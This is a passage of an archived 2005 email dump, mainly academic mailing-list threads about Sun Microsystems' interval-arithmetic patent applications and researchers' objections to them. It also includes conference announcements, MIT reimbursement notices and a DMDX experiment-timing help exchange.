that Sun would come after individual researchers (unless by these messages I distinguish myself as a prime target), but commercial vendors (e.g., Microsoft Excel might have intervals under the hood) may have some risk. Microsoft can probably defend itself, but smaller firms might not. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 George.Corliss@Marquette.edu ",0,0 Ray Moore ,"Martin Berz , reliable_computing@interval.louisiana.edu","Wed, 20 Apr 2005 14:34:33 -0400",Re: Sun's interval patents,"Bill, This is an absolutely intolerable situation, and you need to do something about it, asap. Ray Moore ----- Original Message ----- From: ""Martin Berz"" To: Sent: Wednesday, April 20, 2005 12:19 PM Subject: Re: Sun's interval patents > Zenon, George, Vladik, > > indeed the patents would interfere with most interval tools, and this has > all > kinds of consequences. Unfortunately from our end, this situation has now > led > to the fact that we are not allowed to talk to people involved in the > patent > applications anymore to prevent any conceivable later claims of knowledge > transfer about material in the applications. This is of course similar to > the > way that SUN isn't talking about it either, and it unfortunately seems to > be > the way lawyers do want to handle such matters. > > In fact, the funding agencies DOE and NSF are very worried about > endangering > the approximately $5 Million that went into the development of our COSY > tool > so far, because obviously several pieces of it would fall under the claims > of > the patent applications. So the COSY project could conceivably be shut > down or > at least attacked and hopelessly bogged down by an overzealous army of SUN > lawyers. How far-fetched is this worry? Who knows; I would have considered > it > hopelessly far-fetched to think that anyone would want to apply for such > patents in the first place. > > Just recently this had the very frustrating effect that we cannot interact > anymore with one of our past valued consultants who is involved on the > fringe > of the patent issues. We also could not follow a request from the European > Space Agency to apply the COSY validated integrators to some of their > solar > system orbit problems, since although ESA stated to me that they strongly > discourage such patent efforts, some of their potential contractors are > apparently involved in it. > > What a pity it all is. > > Martin Berz > > >",0,0 Ray Moore ,reliable_computing@interval.louisiana.edu,"Wed, 20 Apr 2005 15:16:06 -0400",Fw: Sun's interval patents,"Dear John and all, THIS IS EXTREMELY IMPORTANT I feel certain that it was never the intention of people at Sun Microsystems to stifle research and development of interval methods of computing. I understand that Sun is a business, however the methods of computing with interval numbers go back at least to my own early work while at Lockheed during the late 1950's and early 1960's. Since that time there has been free and open exchange of ideas in many publications and at many international meetings and through personal contacts, just as it always is, or should be, in basic science. Commercial applications come later. None of the patent applications referred to in the correspondence below are involve commercial applications. Rather they are only particular instances of ways of programming basic interval computational operations or techniques. It should be made CLEAR to the many hundreds of concerned researchers that they should relax about fears of their work being put in jeopardy by Sun lawyers. It makes no more sense to cause such fears than it would have back during the introduction of the calculus by Newton and Leibnitz. I recall there was some sort of rivalry about that, but fortunately the lawyers of that distant day did not prevent the evolution of ideas and techniques which led to the many spectacular benefits to all of mankind from applications of the techniques of the calculus. Of course businesses also benefitted. Businesses are part of mankind. It is one of the many things they do. Let us sort all this out ASAP. best wishes to ALL, Ramon Moore ----- Original Message ----- From: ""G. William Walster"" To: ""Ray Moore"" Sent: Wednesday, April 20, 2005 2:40 PM Subject: Re: Sun's interval patents > > Ray, > > I've been directed by my boss to do and say nothing about this. Please > feel free to write to anybody within Sun > regarding what you think can and should be done. My hands > are tied. :( > > Sorry, > > Bill > > > Ray Moore wrote: > >> Bill, >> >> This is an absolutely intolerable situation, and you need to do something >> about it, asap. >> >> Ray Moore >> >> ----- Original Message ----- From: ""Martin Berz"" >> To: >> Sent: Wednesday, April 20, 2005 12:19 PM >> Subject: Re: Sun's interval patents >> >> >>> Zenon, George, Vladik, >>> >>> indeed the patents would interfere with most interval tools, and this >>> has all >>> kinds of consequences. Unfortunately from our end, this situation has >>> now led >>> to the fact that we are not allowed to talk to people involved in the >>> patent >>> applications anymore to prevent any conceivable later claims of >>> knowledge >>> transfer about material in the applications. This is of course similar >>> to the >>> way that SUN isn't talking about it either, and it unfortunately seems >>> to be >>> the way lawyers do want to handle such matters. >>> >>> In fact, the funding agencies DOE and NSF are very worried about >>> endangering >>> the approximately $5 Million that went into the development of our COSY >>> tool >>> so far, because obviously several pieces of it would fall under the >>> claims of >>> the patent applications. So the COSY project could conceivably be shut >>> down or >>> at least attacked and hopelessly bogged down by an overzealous army of >>> SUN >>> lawyers. How far-fetched is this worry? Who knows; I would have >>> considered it >>> hopelessly far-fetched to think that anyone would want to apply for such >>> patents in the first place. >>> >>> Just recently this had the very frustrating effect that we cannot >>> interact >>> anymore with one of our past valued consultants who is involved on the >>> fringe >>> of the patent issues. We also could not follow a request from the >>> European >>> Space Agency to apply the COSY validated integrators to some of their >>> solar >>> system orbit problems, since although ESA stated to me that they >>> strongly >>> discourage such patent efforts, some of their potential contractors are >>> apparently involved in it. >>> >>> What a pity it all is. >>> >>> Martin Berz >>> >>> >>> >> >> > >",0,0 """Coxson, Gregory E"" ","Ray Moore , Martin Berz , reliable_computing@interval.louisiana.edu","Wed, 20 Apr 2005 15:38:59 -0400",RE: Sun's interval patents,"Dear Ray: Is there a larger organized community that might put their weight behind this? I'm thinking ohe AMS, the MAA, SIAM, or maybe all three together? Thanks. Greg Coxson Mail Stop 137-228 Telephone (856) 722-7302 FAX (856) RCA-DUDE -----Original Message----- From: owner-reliable_computing@interval.louisiana.edu [mailto:owner-reliable_computing@interval.louisiana.edu] On Behalf Of Ray Moore Sent: Wednesday, April 20, 2005 2:35 PM To: Martin Berz; reliable_computing@interval.louisiana.edu Cc: Bill Walster Subject: Re: Sun's interval patents Bill, This is an absolutely intolerable situation, and you need to do something about it, asap. Ray Moore ----- Original Message ----- From: ""Martin Berz"" To: Sent: Wednesday, April 20, 2005 12:19 PM Subject: Re: Sun's interval patents > Zenon, George, Vladik, > > indeed the patents would interfere with most interval tools, and this has > all > kinds of consequences. Unfortunately from our end, this situation has now > led > to the fact that we are not allowed to talk to people involved in the > patent > applications anymore to prevent any conceivable later claims of knowledge > transfer about material in the applications. This is of course similar to > the > way that SUN isn't talking about it either, and it unfortunately seems to > be > the way lawyers do want to handle such matters. > > In fact, the funding agencies DOE and NSF are very worried about > endangering > the approximately $5 Million that went into the development of our COSY > tool > so far, because obviously several pieces of it would fall under the claims > of > the patent applications. So the COSY project could conceivably be shut > down or > at least attacked and hopelessly bogged down by an overzealous army of SUN > lawyers. How far-fetched is this worry? Who knows; I would have considered > it > hopelessly far-fetched to think that anyone would want to apply for such > patents in the first place. > > Just recently this had the very frustrating effect that we cannot interact > anymore with one of our past valued consultants who is involved on the > fringe > of the patent issues. We also could not follow a request from the European > Space Agency to apply the COSY validated integrators to some of their > solar > system orbit problems, since although ESA stated to me that they strongly > discourage such patent efforts, some of their potential contractors are > apparently involved in it. > > What a pity it all is. > > Martin Berz > > >",0,0 Ray Moore ,"""Coxson, Gregory E"" , Martin Berz , reliable_computing@interval.louisiana.edu","Wed, 20 Apr 2005 15:42:28 -0400",Re: Sun's interval patents,"Dear Greg, Good idea. Please do contact them all, if you have names and email addresses of appropriate people in those organizations. Feel free to forward any or all of my correspondence. Ray Moore ----- Original Message ----- From: ""Coxson, Gregory E"" To: ""Ray Moore"" ; ""Martin Berz"" ; Cc: ""Bill Walster"" Sent: Wednesday, April 20, 2005 3:38 PM Subject: RE: Sun's interval patents > Dear Ray: > > Is there a larger organized > community that might put their > weight behind this? I'm thinking > ohe AMS, the MAA, SIAM, or maybe > all three together? > > Thanks. > > Greg Coxson > Mail Stop 137-228 > Telephone (856) 722-7302 > FAX (856) RCA-DUDE > > > -----Original Message----- > From: owner-reliable_computing@interval.louisiana.edu > [mailto:owner-reliable_computing@interval.louisiana.edu] On Behalf Of > Ray Moore > Sent: Wednesday, April 20, 2005 2:35 PM > To: Martin Berz; reliable_computing@interval.louisiana.edu > Cc: Bill Walster > Subject: Re: Sun's interval patents > > Bill, > > This is an absolutely intolerable situation, and you need to do > something > about it, asap. > > Ray Moore > > ----- Original Message ----- > From: ""Martin Berz"" > To: > Sent: Wednesday, April 20, 2005 12:19 PM > Subject: Re: Sun's interval patents > > >> Zenon, George, Vladik, >> >> indeed the patents would interfere with most interval tools, and this > has >> all >> kinds of consequences. Unfortunately from our end, this situation has > now >> led >> to the fact that we are not allowed to talk to people involved in the >> patent >> applications anymore to prevent any conceivable later claims of > knowledge >> transfer about material in the applications. This is of course similar > to >> the >> way that SUN isn't talking about it either, and it unfortunately seems > to >> be >> the way lawyers do want to handle such matters. >> >> In fact, the funding agencies DOE and NSF are very worried about >> endangering >> the approximately $5 Million that went into the development of our > COSY >> tool >> so far, because obviously several pieces of it would fall under the > claims >> of >> the patent applications. So the COSY project could conceivably be shut > >> down or >> at least attacked and hopelessly bogged down by an overzealous army of > SUN >> lawyers. How far-fetched is this worry? Who knows; I would have > considered >> it >> hopelessly far-fetched to think that anyone would want to apply for > such >> patents in the first place. >> >> Just recently this had the very frustrating effect that we cannot > interact >> anymore with one of our past valued consultants who is involved on the > >> fringe >> of the patent issues. We also could not follow a request from the > European >> Space Agency to apply the COSY validated integrators to some of their >> solar >> system orbit problems, since although ESA stated to me that they > strongly >> discourage such patent efforts, some of their potential contractors > are >> apparently involved in it. >> >> What a pity it all is. >> >> Martin Berz >> >> >> > > > > >",0,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Wed, 20 Apr 2005 14:44:55 -0600","ISSAC 2005 Beijing, 2nd CALL FOR POSTERS ---","forwarding ------------- Begin Forwarded Message ------------- From: Ilias Kotsireas (apologies for multiple receptions) 2nd CALL FOR POSTERS ==================== International Symposium on Symbolic and Algebraic Computation ============================================================= ISSAC 2005, Beijing, P. R. China ================================ ISSAC, the International Symposium on Symbolic and Algebraic Computation, is an annual gathering of the Symbolic Mathematical Computation community. ISSAC 2005 is scheduled for July 24-—27, 2005 at the Key Laboratory of Mathematics Mechanization, Chinese A cademy of Sciences, Beijing, China. ISSAC 2005 is expected to be very well attended. More than 110 papers were submitted for review. Planned conference activities include invited presentations, research and survey papers, poster sessions, tutorial courses, vendor exhibits, and software demonstrations. Proceedings, as well as abstracts of all posters, will be distributed at the conference. The Poster Sessions are an ideal avenue for presenting recent research results or reports on ongoing research projects that might not yet be complete, but whose preliminary results are already of potential interest to the community. Especially welcome are posters describing implementations of algorithms, computer algebra systems, and applications of computer algebra and symbolic computation in the domains of education, science, and industry. To encourage submissions of good quality, a prize will be awarded for the best poster presented. Posters will be reviewed by a panel for content correctness, relevance, and style of presentation. Abstracts of final versions of accepted posters will be distributed at the conference, and will appear in the Communications in Computer Algebra, a quarterly publication of the Special Interest Group on Symbolic & Algebraic Manipulation (SIGSAM), ACM. All accepted posters will be archived for public download, at the website of SIGSAM. TOPICS OF INTEREST Topics of the meeting include, but are not limited to: * Algorithmic Mathematics: Algebraic, symbolic, and symbolic-numeric algorithms. Simplification, function manipulation, ODE/PDE solving, summation, integration, linear algebra, number theory, group and geometric computing. * Computer Science: Treatments of theoretical and practical problems in symbolic computation. Systems, problem solving environments, user interfaces, software, libraries, parallel and distributing computing, programming languages for symbolic computations , concrete analysis, benchmarking, theoretical and practical complexity of computer algebra algorithms, automatic differentiation, code generation, mathematical data structures and exchange protocols. * Applications: Problem treatments using algebraic, symbolic, or symbolic-numeric computation in an essential or novel way for engineering, economics and finance, physical and biological sciences, computer science, logic, mathematics, statistics, and educ ation. SUBMISSION GUIDELINES: Authors are invited to submit an abstract of no more than 900 words by electronic mail to Austin Lobo at the address alobo2@washcoll.edu. Portable Document Format (pdf) or PostScript is preferred, but TeX or LaTeX source, or plain text are also acceptable . The deadline for submission of abstracts is May 17, 2005. Notification of acceptance will be made by June 14, 2005. The deadline for submission of the final version of the abstract, and the LaTeX source of the final version of an accepted poster is June 28, 2005. INSTRUCTIONS FOR POSTER PREPARATION Authors should prepare posters that fit the A0 size, i.e. a maximum of 33 inches (84 cm) wide by 46 inches (117 cm) high, or 46 inches (117 cm) wide by 33 inches (84 cm) high. Posters will be pinned onto display boards at the conference site. All accepted posters will be printed at the conference site in Beijing by the organizers of ISSAC 2005, at no cost to their authors. Authors should strive to make their posters visually appealing and viewer-friendly. In particular, the dense typesetting typical of journal articles should be avoided. To ensure that the posters are of high quality, authors are advised to use poster-prepa ration tools such as LaTeX, Xfig, and PowerPoint. Prospective authors are encouraged to visit the following sites for tutorials and other information on poster preparation http://www.ncsu.edu/project/posters/ http://www.acronymchile.com/poster.html http://lcavwww.epfl.ch/~ridolfi/personal/linuxstuff/latex.html http://www.see.ed.ac.uk/~neural/oldISG/posters/xfig_posters.html http://www.maths.ox.ac.uk/help/faqs/latex/xfig-poster.shtml POSTER COMMITTEE CHAIR: Austin Lobo, Washington College, USA. ------------- End Forwarded Message -------------",0,1 Ray Moore ,"""G. William Walster"" ","Thu, 21 Apr 2005 16:17:52 -0400",Re: Fw: Sun's interval patents,"Thanks, Bill. I will forward this to the group, hoping it helps allay their concerns. Ray Moore ----- Original Message ----- From: ""G. William Walster"" To: ""Ray Moore"" Sent: Thursday, April 21, 2005 4:05 PM Subject: Re: Fw: Sun's interval patents > > > Thanks, Ray. > > Your statement: ""I feel certain that it was never the intention of people > at Sun Microsystems to stifle research and development of interval methods > of computing. "" is exactly true. Quite the contrary, we are eager for > interval R & D to progress as fast as possible. > > Cheers, > > Bill > > > > Ray Moore wrote: > >> Bill, >> >> In case you didn't get it. >> >> Ray >> >> ----- Original Message ----- From: ""Ray Moore"" >> To: >> Cc: >> Sent: Wednesday, April 20, 2005 3:16 PM >> Subject: Fw: Sun's interval patents >> >> >>> Dear John and all, >>> >>> THIS IS EXTREMELY IMPORTANT >>> >>> I feel certain that it was never the intention of people at Sun >>> Microsystems to stifle research and development of interval methods of >>> computing. I understand that Sun is a business, however the methods of >>> computing with interval numbers go back at least to my own early work >>> while at Lockheed during the late 1950's and early 1960's. Since that >>> time there has been free and open exchange of ideas in many publications >>> and at many international meetings and through personal contacts, just >>> as it always is, or should be, in basic science. Commercial applications >>> come later. None of the patent applications referred to in the >>> correspondence below are involve commercial applications. Rather they >>> are only particular instances of ways of programming basic interval >>> computational operations or techniques. It should be made CLEAR to the >>> many hundreds of concerned researchers that they should relax about >>> fears of their work being put in jeopardy by Sun lawyers. >>> >>> It makes no more sense to cause such fears than it would have back >>> during the introduction of the calculus by Newton and Leibnitz. I recall >>> there was some sort of rivalry about that, but fortunately the lawyers >>> of that distant day did not prevent the evolution of ideas and >>> techniques which led to the many spectacular benefits to all of mankind >>> from applications of the techniques of the calculus. Of course >>> businesses also benefitted. Businesses are part of mankind. >>> It is one of the many things they do. >>> >>> Let us sort all this out ASAP. >>> >>> best wishes to ALL, >>> >>> Ramon Moore >>> >>> >>> >>> ----- Original Message ----- From: ""G. William Walster"" >>> >>> To: ""Ray Moore"" >>> Sent: Wednesday, April 20, 2005 2:40 PM >>> Subject: Re: Sun's interval patents >>> >>> >>>> >>>> Ray, >>>> >>>> I've been directed by my boss to do and say nothing about this. Please >>>> feel free to write to anybody within Sun >>>> regarding what you think can and should be done. My hands >>>> are tied. :( >>>> >>>> Sorry, >>>> >>>> Bill >>>> >>>> >>>> Ray Moore wrote: >>>> >>>>> Bill, >>>>> >>>>> This is an absolutely intolerable situation, and you need to do >>>>> something about it, asap. >>>>> >>>>> Ray Moore >>>>> >>>>> ----- Original Message ----- From: ""Martin Berz"" >>>>> To: >>>>> Sent: Wednesday, April 20, 2005 12:19 PM >>>>> Subject: Re: Sun's interval patents >>>>> >>>>> >>>>>> Zenon, George, Vladik, >>>>>> >>>>>> indeed the patents would interfere with most interval tools, and this >>>>>> has all >>>>>> kinds of consequences. Unfortunately from our end, this situation has >>>>>> now led >>>>>> to the fact that we are not allowed to talk to people involved in the >>>>>> patent >>>>>> applications anymore to prevent any conceivable later claims of >>>>>> knowledge >>>>>> transfer about material in the applications. This is of course >>>>>> similar to the >>>>>> way that SUN isn't talking about it either, and it unfortunately >>>>>> seems to be >>>>>> the way lawyers do want to handle such matters. >>>>>> >>>>>> In fact, the funding agencies DOE and NSF are very worried about >>>>>> endangering >>>>>> the approximately $5 Million that went into the development of our >>>>>> COSY tool >>>>>> so far, because obviously several pieces of it would fall under the >>>>>> claims of >>>>>> the patent applications. So the COSY project could conceivably be >>>>>> shut down or >>>>>> at least attacked and hopelessly bogged down by an overzealous army >>>>>> of SUN >>>>>> lawyers. How far-fetched is this worry? Who knows; I would have >>>>>> considered it >>>>>> hopelessly far-fetched to think that anyone would want to apply for >>>>>> such >>>>>> patents in the first place. >>>>>> >>>>>> Just recently this had the very frustrating effect that we cannot >>>>>> interact >>>>>> anymore with one of our past valued consultants who is involved on >>>>>> the fringe >>>>>> of the patent issues. We also could not follow a request from the >>>>>> European >>>>>> Space Agency to apply the COSY validated integrators to some of their >>>>>> solar >>>>>> system orbit problems, since although ESA stated to me that they >>>>>> strongly >>>>>> discourage such patent efforts, some of their potential contractors >>>>>> are >>>>>> apparently involved in it. >>>>>> >>>>>> What a pity it all is. >>>>>> >>>>>> Martin Berz >>>>>> >>>>>> >>>>>> >>>>> >>>>> >>>> >>>> >>> >> >> > >",0,0 Student Life Programs ,rradez@mit.edu,"Thu, 21 Apr 2005 16:07:51 -0400",Reimbursement Check,"Hello-- I am writing from the Student Life Programs (SLP) Office to inform you that the reimbursement check that you had requested via your student account is available for pick up. When picking up the check, please have your MIT Identification Card ready and refer to the check as follows: Student Group Name: 2nd West at East Campus Check Payable to: Ben Charrow Amount of Check: $9.18 If you need to send someone else in your/their place to pick up the check or want them mailed to you, please email funds@mit.edu ahead of time in order to receive approval from funds. The SLP Office is located in W20-549, we are opened Monday - Friday, between 9:00am - 5:00pm. Please come to the front desk for all check inquiries. If you have any questions or require additional information, please do not hesitate to contact me at 617.253.6777. Thank you! Student Worker Student Life Programs Office ",0,0 Arman Abrahamyan ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Apr 2005 17:49:51 +1000",[DMDX] Timing problem with a fast computer,"Dear DMDX community, I have got a problem with DMDX experiment running in the continuous mode ( parameter). In short, the experiment that should run 59.451 min (in diagnostic mode), finishes in about 46 min. Here is the parameter line I have used: ---- ---- and, an example of one trial: ----- 99 ""Please count male face(s)"" /; 1221 ""cross.bmp"" / ! ""122.bmp"" / ""cross.bmp"" / ; 2111 ""cross.bmp"" / ! ""211.bmp"" / ""cross.bmp"" / ; 1224 ""cross.bmp"" / ! ""122.bmp"" / ""cross.bmp"" / ; 2224 ""cross.bmp"" / ! ""222.bmp"" / ""cross.bmp"" / ; 1212 ""cross.bmp"" / ! ""121.bmp"" / ""cross.bmp"" / ; 1213 ""cross.bmp"" / ! ""121.bmp"" / ""cross.bmp"" / ; 1224 ""cross.bmp"" / ! ""122.bmp"" / ""cross.bmp"" / ; 2111 ""cross.bmp"" / ! ""211.bmp"" / ""cross.bmp"" / ; +1110100 * ""Your response !!!""; 99 ""Get ready for the next trial"" /; ---- I am using Acer Travel Mate 8000 which has Pentium Mobile (Centrino) 2.2 GHz processor, 1.5 Gb RAM, ATI Mobility Radeon 9700 with 128 MB DDR RAM (good laptop for gamers). Didn't have any other problem running experiment on this machine until discovered the timing issue. In this experiment, the duration of one tick is 16.17 ms (determined by DMDX) and the vertical refresh rate is 60 Hz. I have another laptop (60Hz, tick=16.680ms), where the experiment runs at the right pace. Running the experiment on both laptops simultaneously showed difference in the presentation time after the forth item (see the example trial above). Would appreciate any idea about what could be a possible cause, and, more importantly, how to solve the puzzle. All the best, Arman -- Arman Abrahamyan Doctoral Student School of Psychology & MARCS Auditory Laboratories University of Western Sydney - Bankstown Campus Locked Bag 1797 Penrith South DC NSW 1797 Australia Phone: (+612) 9772 6660; Fax: (+612) 9772 6326 E-mail: a.abrahamyan@uws.edu.au WWW: http://marcs.uws.edu.au/people/abrahamyan/",0,1 Wayne Hayes ,Ray Moore ,"Fri, 22 Apr 2005 00:35:05 -0700",Re: Fw: Sun's interval patents,"> From: ""G. William Walster"" > To: ""Ray Moore"" > Sent: Thursday, April 21, 2005 4:05 PM > Subject: Re: Fw: Sun's interval patents > > >Thanks, Ray. > > > >Your statement: ""I feel certain that it was never the intention of people > >at Sun Microsystems to stifle research and development of interval methods > >of computing. "" is exactly true. Quite the contrary, we are eager for > >interval R & D to progress as fast as possible. > > > >Cheers, > > > > Bill This statement is absolutely meaningless, regardless of Bill's apparent good will. It carries absolutely no legal weight and certainly will NOT allay anybody's fears. In particular it will not allay the fears of those lawyers who dictate to us what we should and should not do, and who we should or should not collaborate with, and it will certainly carry zero weight in court should Sun, at some future date, decide to sue those infringing on its spuriously granted patents. What WOULD be meaningful would be for Sun to do the following with its patents that pertain to prior art: to release those currently owned patents to the public domain, and to either drop its current applications or publicly announce that intends to release said patents to the public domain upon having them granted. Bill's statement does NOTHING to change the fact that, as Ray previously stated, this situation is completely unacceptable, and Bill's apparently well-meaning statement is, unfortunately, entirely vacuous. And of course, you can bet your buns that Sun is completely out of the running to supply the cluster of computers that I intend to buy in the near future. And I will vehemently attempt to disuade any of my co-workers from buying Suns as well, until this mess is cleared up. It is quite possible that the only measure that will convince Sun to pony up the patents is to convince them that it will hurt them in the pocket book. That is the traditional way to convince corporations that they are doing something unpopular. Since academia is a substantial customer to Sun, perhaps it is time that we start speaking up loudly and clearly to our colleagues about Sun's actions in this regard. - Wayne",0,0 Ray Moore ,John.Busch@sun.com,"Fri, 22 Apr 2005 06:54:31 -0400",Fw: Fw: Sun's interval patents,"Dear John, Bill and all: I trust that people at Sun will take these concerns seriously, and for the good of all, including Sun, make the necessary changes. People have been writing and distributing computer programs using interval operations and interval algorithms for more than 40 years DIFEQ integration routine - user's manual, and will continue to do so. In order ""for interval R & D to progress as fast as possible"", it is necessary that Sun dispel even the perception of a threat to take any legal action against anyone engaged in interval R&D including developing and distributing interval software. Ramon Moore ----- Original Message ----- From: ""Arnold Neumaier"" To: ""Ray Moore"" Sent: Friday, April 22, 2005 4:31 AM Subject: Re: Fw: Sun's interval patents > Ray Moore wrote: > >> Thanks, Bill. I will forward this to the group, hoping it helps allay >> their concerns. > > So far this doesn't mean anything. SUN can still take legal action > against anyone affected by their patents. > > We need an official statement of SUN that they will not enforce > these patents against anyone creating or using implementations > of these ideas in a public domain or GNU licenced program. > > > Arnold Neumaier > > > >> >> Ray Moore >> >> ----- Original Message ----- From: ""G. William Walster"" >> >> To: ""Ray Moore"" >> Sent: Thursday, April 21, 2005 4:05 PM >> Subject: Re: Fw: Sun's interval patents >>> >>> Thanks, Ray. >>> >>> Your statement: ""I feel certain that it was never the intention of >>> people at Sun Microsystems to stifle research and development of >>> interval methods of computing. "" is exactly true. Quite the contrary, >>> we are eager for interval R & D to progress as fast as possible. >>> >>> Cheers, >>> >>> Bill >>> >",0,0 Ray Moore ,John.Busch@sun.com,"Fri, 22 Apr 2005 07:01:32 -0400",Missing link,"Sorry I miscopied it in my previous message, but here: Here is the missing link: DIFEQ integration routine - user's manual It is a 1964 publication which was distributed and used in a number of real world applications. ALL the operations and techniques were published in open literature soon after that, in my 1966 book Interval Analysis and elsewhere. Ramon Moore",0,0 Ray Moore ,"""G. William Walster"" , reliable_computing@interval.louisiana.edu, Martin Berz , George Corliss , Scott Ferson , ""Coxson, Gregory E"" , wlodwick@math.cudenver.edu, John.Busch@sun.com, Arnold.Neumaier@univie.ac.at","Fri, 22 Apr 2005 08:09:35 -0400",Sun's interval patents,"In case you did not get this. Sorry if this is a duplicate. Ray Moore Dear John, Bill and all: I trust that people at Sun will take these concerns seriously, and for the good of all, including Sun, make the necessary changes. People have been writing and distributing computer programs using interval operations and interval algorithms for more than 40 years DIFEQ integration routine - user's manual, and will continue to do so. In order ""for interval R & D to progress as fast as possible"", it is necessary that Sun dispel even the perception of a threat to take any legal action against anyone engaged in interval R&D including developing and distributing interval software. Ramon Moore ",0,0 George Corliss ,"Ray Moore , ""G. William Walster"" , reliable_computing@interval.louisiana.edu, Martin Berz , Scott Ferson , ""Coxson, Gregory E"" , wlodwick@math.cudenver.edu, John.Busch@sun.com, Arnold.Neumaier@univie.ac.at","Fri, 22 Apr 2005 07:24:48 -0500",Re: Sun's interval patents,"Thanks Ray. This concern may be broader than just the interval community. When I started to tell the story to my university IP attorney, he said, ³I'm acquainted with the Sun problem.² When I mentioned to Jorge More at Argonne an interval project I¹m proposing, he said, ³But the Sun efforts to patent interval work may put a serious damper on this project.² Neither of them are intervalers. And that¹s just conversations in one day. Concern is not ³just² among the interval folks. I join Ray in urging Sun to put their interval patents into the public domain. Then both Sun and the research community are protected. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 George.Corliss@Marquette.edu > In case you did not get this. Sorry if this is a duplicate. > Ray Moore > > Dear John, Bill and all: > > I trust that people at Sun will take these concerns seriously, and for the > good of all, including Sun, make the necessary changes. People have been > writing and distributing computer programs using interval operations and > interval algorithms for more than 40 years DIFEQ integration routine - user's > manual , > and will continue to do so. > > In order ""for interval R & D to progress as fast as possible"", it is > necessary that Sun dispel even the perception of a threat to take any legal > action against anyone engaged in interval R&D including developing and > distributing interval software. > > Ramon Moore >",0,1 Student Activities ,rradez@mit.edu,"Fri, 22 Apr 2005 09:10:36 -0400",Several Reimbursement Checks are ready to be picked up,"Hello-- I am writing from the Student Life Programs (SLP) Office to inform you that several reimbursement checks that you had requested via your student account are available for pick up. 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Dates: Submission: May 1, 2005 Notification: June 5, 2005 Camera-ready version: July 3, 2005 Satellite seminars and reception: August 25-26, 2005 Main conference: August 27-29, 2005 Scope The conference is concerned with the theory of computability and complexity over real-valued data. Computability and complexity theory are two central areas of research in mathematical logic and theoretical computer science. Computability theory is the study of the limitations and abilities of computers in principle. Computational complexity theory provides a framework for understanding the cost of solving computational problems, as measured by the requirement for resources such as time and space. The classical approach in these areas is to consider algorithms as operating on finite strings of symbols from a finite alphabet. Such strings may represent various discrete objects such as integers or algebraic expressions, but cannot represent general real or complex numbers, unless they are rounded. Most mathematical models in physics and engineering, however, are based on the real number concept. Thus, a computability theory and a complexity theory over the real numbers and over more general continuous data structures is needed. Unlike the well established classical theory over discrete structures, the theory of computation over continuous data is still in its infancy, despite remarkable progress in recent years. Many important fundamental problems have not yet been studied, and presumably numerous unexpected and surprising results are waiting to be detected. Scientists working in the area of computation on real-valued data come from different fields, such as theoretical computer science, domain theory, logic, constructive mathematics, computer arithmetic, numerical mathematics and all branches of analysis. The conference provides a unique opportunity for people from such diverse areas to meet and exchange ideas and knowledge. The topics of interest include foundational work on various models and approaches for describing computability and complexity over the real numbers. They also include complexity-theoretic investigations, both foundational and with respect to concrete problems, and new implementations of exact real arithmetic, as well as further developments of already existing software packages. We hope to gain new insights into computability-theoretic aspects of various computational questions from physics and from other fields involving computations over the real numbers. Scientific Program Committee: Vasco Brattka (Cape Town, South Africa) Peter Hertling, chair (Munich, Germany) Hajime Ishihara (Ishikawa, Japan) Iraj Kalantari (Macomb, USA) Ker-I Ko (Stony Brook, USA) Vladik Kreinovich (El Paso, USA) Jack H. Lutz (Ames, USA) Joseph S. Miller (Bloomington, USA) Robert Rettinger (Hagen, Germany) Matthias Schröder (Edinburgh, Scotland) Alex Simpson (Edinburgh, Scotland) Klaus Weihrauch (Hagen, Germany) Atsushi Yoshikawa (Kyushu, Japan) Xizhong Zheng (Cottbus, Germany) Ning Zhong (Cincinnati, USA) Martin Ziegler (Odense, Denmark) Organizing Committee: Hiroyasu Kamo (Nara, Japan) Takakazu Mori (Kyoto, Japan) Izumi Takeuti (Toho, Japan) Hideki Tsuiki, chair (Kyoto, Japan) Yoshiki Tsujii (Kyoto, Japan) Mariko Yasugi (Kyoto, Japan) Invited Speakers Vasco Brattka (Cape Town, South Africa) Masami Hagiya (Tokyo, Japan) Daisuke Takahashi (Waseda, Japan) Proceedings A technical report including the accepted papers will be distributed at the conference. It is planned to publish a special issue of the Journal of Complexity dedicated to the conference. After the workshop, the participants will be invited to submit their papers for publication in this special issue. The papers will be subject to the usual refereeing process of the journal. Satellite Seminars On August 25 and 26, 2005, there will be satellite seminars that will consist of introductory lectures to CCA and related areas. The following speakers have agreed to give introductory lectures (topic in brackets): Andrej Bauer (Realizability for constructive and computable mathematics) Martin Escardó (Synthetic topology of computational spaces) Peter Hertling (Computable analysis via representations) Norbert Müller (Implementing exact real numbers efficiently) Hideyuki Suzuki (Analog computation) Mariko Yasugi (Computable versions of basic theorems in functional analysis) Atsushi Yoshikawa (Computable versions of basic theorems in functional analysis) Venue The conference will be held on the Yoshida Campus of Kyoto University. Kyoto was the imperial capital of Japan for over 1000 years until 1867. It has many famous temples, shrines, national treasures, and festivals, and it is still the cultural center of Japan. Kyoto is also known as an academic city with many universities and research institutes. Local Information Kyoto is about 100 km north-east of Kansai International Airport. All information concerning the conference venue, traveling, accommodation and registration will be provided here: http://www.i.h.kyoto-u.ac.jp/cca2005/ Support: Some financial support will be available to cover part of the travel and hotel expenses of some of the speakers. Details are available here: http://www.i.h.kyoto-u.ac.jp/cca2005/support.html The conference is supported by the Graduate School of Human and Environmental Studies, Kyoto University. ________________________________________________________________ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 22 Apr 2005 14:45:17 -0700",[DMDX] Re: Timing problem with a fast computer,"You aren't running the item file in a fixed ISI mode ( simply means go as fast as possible which is anything but fixed) so the variance is attributable to things like the speed that the laptops are reading your bitmaps. If you really wanted a fixed ISI you will have to use a value for the delay parameter that is long enough for the machine to prepare them item (see the preparation time help in the delay keyword help for details). You would also have to ensure that the display was longer than any response gathered, currently ""Your response !!!"" will stay on the screen till they respond and then the next item will commence. You would have to have another frame after that and make the ""Your response !!!"" frame longer than the timeout with something like this: +1110100 * ""Your response !!!"" <%ms 3000> / ; At 05:49 PM 4/22/2005 +1000, you wrote: >Dear DMDX community, > >I have got a problem with DMDX experiment running in the continuous mode >( parameter). In short, the experiment that should run 59.451 min (in >diagnostic mode), finishes in about 46 min. >Here 